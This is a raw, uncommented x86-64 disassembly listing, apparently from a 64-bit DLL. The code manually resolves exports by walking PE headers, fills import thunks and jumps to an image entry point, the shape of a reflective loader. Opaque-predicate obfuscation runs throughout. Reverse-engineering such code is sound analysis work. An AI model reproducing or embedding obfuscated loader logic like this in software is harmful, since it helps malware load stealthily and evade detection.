lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800023dd
mov eax, dword [rbx]
add dword [rdx + rax*4], edi
jmp 0x1800023b7
mov eax, dword [rbx]
add dword [rdx + rax*4], edi
mov r14d, dword [0x180020a70]
mov r11d, dword [0x180020a6c]
cmp r11d, 0xa
jl 0x18000245e
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
jne 0x1800023a4
jmp 0x18000245e
cmp ecx, 0xa
jne 0x18000245e
cmp r11d, 0xa
jl 0x180002421
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
jne 0x1800024a9
mov eax, dword [rbx]
mov edx, edx
mov rcx, r13
add rdx, r13
add qword [rax + rdx], rdi
mov r14d, dword [0x180020a70]
mov r11d, dword [0x180020a6c]
cmp r11d, 0xa
jl 0x18000245e
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
je 0x18000245e
mov eax, dword [rbx]
add qword [rdx + rax], rdi
mov eax, dword [rbx]
add qword [rdx + rax], rdi
jmp 0x18000242f
lea ecx, [r14 - 1]
imul ecx, r14d
cmp r11d, 0xa
jl 0x1800022f6
mov edx, ecx
and edx, 1
je 0x1800022f6
jmp 0x1800024a5
test dl, 1
je 0x1800024ab
lea ecx, [r14 - 1]
imul ecx, r14d
cmp r11d, 0xa
jl 0x1800022a7
mov edx, ecx
and edx, 1
je 0x1800022a7
jmp 0x18000249f
jmp 0x1800024a1
jmp 0x1800024a3
jmp 0x1800024a5
jmp 0x1800024a7
jmp 0x1800024a9
jmp 0x1800024ab
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rcx + 0x90]
mov rax, r13
add rcx, r13
mov qword [rbp - 0x20], rcx
lea rax, [r13 + 2]
mov qword [rbp - 0x38], rax
lea ecx, [r14 - 1]
imul ecx, r14d
test cl, 1
sete cl
cmp r11d, 0xa
setl al
or al, cl
cmp al, 1
jne 0x1800026dd
mov rcx, qword [rbp - 0x20]
mov ecx, dword [rcx + 0xc]
mov qword [rbp], rcx
test al, al
je 0x1800026dd
cmp dword [rbp], 0
je 0x180002a09
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002a30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002537
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800029f5
mov rax, r13
add qword [rbp], r13
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000256d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800029f7
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdi, r9
add rcx, r9
mov esi, dword [rdi]
add rsi, r9
mov rbx, r12
movzx eax, byte [rbx]
movzx edx, byte [rsi]
test al, al
je 0x18000259e
add rbx, 1
add rsi, 1
cmp al, dl
je 0x180002588
cmp al, dl
je 0x1800025ac
add rdi, 4
add rcx, 2
jmp 0x180002580
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp]
call r9
add rsp, 0x20
mov r15, rax
mov r14d, dword [0x180020a70]
mov r11d, dword [0x180020a6c]
cmp r11d, 0xa
jl 0x1800026e6
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
je 0x1800026e6
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002a30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002623
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800029f9
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002652
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800029fb
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdi, r9
add rcx, r9
mov esi, dword [rdi]
add rsi, r9
mov rbx, r12
movzx eax, byte [rbx]
movzx edx, byte [rsi]
test al, al
je 0x180002683
add rbx, 1
add rsi, 1
cmp al, dl
je 0x18000266d
cmp al, dl
je 0x180002691
add rdi, 4
add rcx, 2
jmp 0x180002665
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp]
call r9
mov rcx, qword [rbp - 8]
call fcn.180002a30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000253e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000253e
jmp 0x1800029f5
test al, al
je 0x1800026dd
jmp 0x1800024e8
mov rax, qword [rbp - 0x20]
mov ecx, dword [rax]
mov edx, dword [rax + 0x10]
mov rax, r13
add rcx, r13
mov qword [rbp - 0x30], rcx
add rdx, r13
mov qword [rbp], rdx
lea ecx, [r14 - 1]
imul ecx, r14d
test cl, 1
sete dl
cmp r11d, 0xa
setl cl
or cl, dl
test cl, cl
je 0x180002717
mov rax, qword [rbp - 0x30]
mov rcx, qword [rax]
test rcx, rcx
je 0x1800029eb
mov rax, qword [rbp - 0x38]
add rax, rcx
test rcx, rcx
movzx ecx, cx
cmovns rcx, rax
mov qword [rbp - 0x18], rcx
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002a30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002772
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002a07
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800027a1
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002a05
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov edi, dword [r9 + rcx + 0x24]
add rdx, r9
add rdi, r9
mov esi, dword [rdx]
add rsi, r9
mov rax, qword [rbp - 0x28]
movzx ebx, byte [rax]
movzx ecx, byte [rsi]
test bl, bl
je 0x1800027d3
add rax, 1
add rsi, 1
cmp bl, cl
je 0x1800027bd
cmp bl, cl
je 0x1800027e1
add rdx, 4
add rdi, 2
jmp 0x1800027b4
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
mov rdx, qword [rbp - 0x18]
call r9
add rsp, 0x20
mov rcx, qword [rbp]
mov qword [rcx], rax
mov r14d, dword [0x180020a70]
mov r11d, dword [0x180020a6c]
cmp r11d, 0xa
jl 0x1800029dc
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
je 0x1800029dc
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002a30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000285f
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800029fd
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000288e
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800029ff
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov esi, dword [rdx]
add rsi, r9
mov rdi, qword [rbp - 0x28]
movzx eax, byte [rdi]
movzx ebx, byte [rsi]
test al, al
je 0x1800028c0
add rdi, 1
add rsi, 1
cmp al, bl
je 0x1800028aa
cmp al, bl
je 0x1800028ce
add rdx, 4
add rcx, 2
jmp 0x1800028a1
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
mov rdx, qword [rbp - 0x18]
call r9
add rsp, 0x20
mov rcx, qword [rbp]
mov qword [rcx], rax
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002a30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002923
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002a01
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002952
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002a03
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov esi, dword [rdx]
add rsi, r9
mov rdi, qword [rbp - 0x28]
movzx eax, byte [rdi]
movzx ebx, byte [rsi]
test al, al
je 0x180002984
add rdi, 1
add rsi, 1
cmp al, bl
je 0x18000296e
cmp al, bl
je 0x180002992
add rdx, 4
add rcx, 2
jmp 0x180002965
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
mov rdx, qword [rbp - 0x18]
call r9
add rsp, 0x20
mov rcx, qword [rbp]
mov qword [rcx], rax
cmp dword [0x180020a6c], 0xa
jl 0x180002740
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000282d
jmp 0x180002740
add qword [rbp - 0x30], 8
add qword [rbp], 8
jmp 0x180002700
add qword [rbp - 0x20], 0x14
jmp 0x1800024c9
jmp 0x1800029f5
jmp 0x1800029f7
jmp 0x1800029f9
jmp 0x1800029fb
jmp 0x1800029fd
jmp 0x1800029ff
jmp 0x180002a01
jmp 0x180002a03
jmp 0x180002a05
jmp 0x180002a07
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x28]
mov rcx, r13
add rcx, rax
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rcx